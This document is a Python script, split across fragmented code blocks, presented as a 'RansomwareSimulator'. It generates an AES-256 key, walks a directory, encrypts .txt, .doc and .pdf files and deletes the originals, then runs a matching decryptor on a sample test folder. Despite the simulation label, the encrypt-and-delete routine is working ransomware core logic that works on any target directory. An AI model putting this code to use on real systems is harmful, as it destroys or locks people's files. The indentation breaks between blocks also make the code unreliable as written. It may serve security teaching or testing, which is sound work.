```
import os
import base64
import hashlib
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
import shutil
import logging
import sys

# Configure logging for debugging and monitoring
logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

class RansomwareSimulator:
    def __init__(self, target_dir, key_file='key.txt'):
        self.target_dir = target_dir
        self.key_file = key_file
        self.key = None
        self.obfuscated_key = None
        self.BLOCK_SIZE = 16
        self.EXTENSIONS = ['.txt', '.doc', '.pdf']  # Target specific file extensions

    def generate_key(self):
        """Generate a secure AES key and store it securely."""
        self.key = get_random_bytes(32)  # 256-bit key for AES
        self.obfuscated_key = base64.b64encode(self.key).decode('utf-8')  # Obfuscate key with base64
```

```
    with open(self.key_file, 'w') as f:
        f.write(self.obfuscated_key)
    logging.info("Key generated and saved to %s", self.key_file)

def load_key(self):
    """Load and de-obfuscate the AES key."""
    try:
        with open(self.key_file, 'r') as f:
            self.obfuscated_key = f.read()
        self.key = base64.b64decode(self.obfuscated_key.encode('utf-8'))
        logging.info("Key loaded from %s", self.key_file)
    except Exception as e:
        logging.error("Failed to load key: %s", e)
        sys.exit(1)

def pad(self, data):
    """Pad data to be a multiple of AES block size."""
    padding_length = self.BLOCK_SIZE - len(data) % self.BLOCK_SIZE
    padding = bytes([padding_length]) * padding_length
    return data + padding

def encrypt_file(self, file_path):
    """Encrypt a file using AES-256 in CBC mode."""
    try:
        iv = get_random_bytes(self.BLOCK_SIZE)
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
```

```
        with open(file_path, 'rb') as f:
            plaintext = f.read()

        padded_data = self.pad(plaintext)
        ciphertext = cipher.encrypt(padded_data)

        with open(file_path + '.enc', 'wb') as f:
            f.write(iv + ciphertext)
        os.remove(file_path)
        logging.info("Encrypted: %s", file_path)
    except Exception as e:
        logging.error("Failed to encrypt %s: %s", file_path, e)

def decrypt_file(self, file_path):
    """Decrypt a file using AES-256 in CBC mode."""
    try:
        with open(file_path, 'rb') as f:
            encrypted_data = f.read()

        iv = encrypted_data[:self.BLOCK_SIZE]
        ciphertext = encrypted_data[self.BLOCK_SIZE:]
        cipher = AES.new(self.key, AES.MODE_CBC, iv)
        padded_data = cipher.decrypt(ciphertext)

        # Remove padding
```

```
            padding_length = padded_data[-1]
            plaintext = padded_data[:-padding_length]

            original_file = file_path.replace('.enc', '')
            with open(original_file, 'wb') as f:
                f.write(plaintext)
            os.remove(file_path)
            logging.info("Decrypted: %s", file_path)
        except Exception as e:
            logging.error("Failed to decrypt %s: %s", file_path, e)

    def simulate_infection(self):
        """Simulate ransomware by encrypting files in the target directory."""
        if not os.path.exists(self.target_dir):
            logging.error("Target directory does not exist: %s", self.target_dir)
            return

        self.generate_key()
        for root, _, files in os.walk(self.target_dir):
            for file in files:
                if any(file.endswith(ext) for ext in self.EXTENSIONS):
                    file_path = os.path.join(root, file)
                    self.encrypt_file(file_path)
        logging.info("Ransomware simulation completed.")

    def run_decryptor(self):
```

```
        """Run the decryptor to restore encrypted files."""
        self.load_key()
        for root, _, files in os.walk(self.target_dir):
            for file in files:
                if file.endswith('.enc'):
                    file_path = os.path.join(root, file)
                    self.decrypt_file(file_path)
        logging.info("Decryption completed.")


def main():
    # Create a test directory with sample files for simulation
    test_dir = "test_folder"
    if not os.path.exists(test_dir):
        os.makedirs(test_dir)
        with open(os.path.join(test_dir, "sample1.txt"), 'w') as f:
            f.write("This is a test file 1.")
        with open(os.path.join(test_dir, "sample2.txt"), 'w') as f:
            f.write("This is a test file 2.")
        logging.info("Test directory created: %s", test_dir)

    # Initialize ransomware simulator
    ransomware = RansomwareSimulator(target_dir=test_dir)

    # Simulate ransomware infection
    ransomware.simulate_infection()
```

```
    # Simulate decryption
    ransomware.run_decryptor()

if __name__ == "__main__":
    main()
```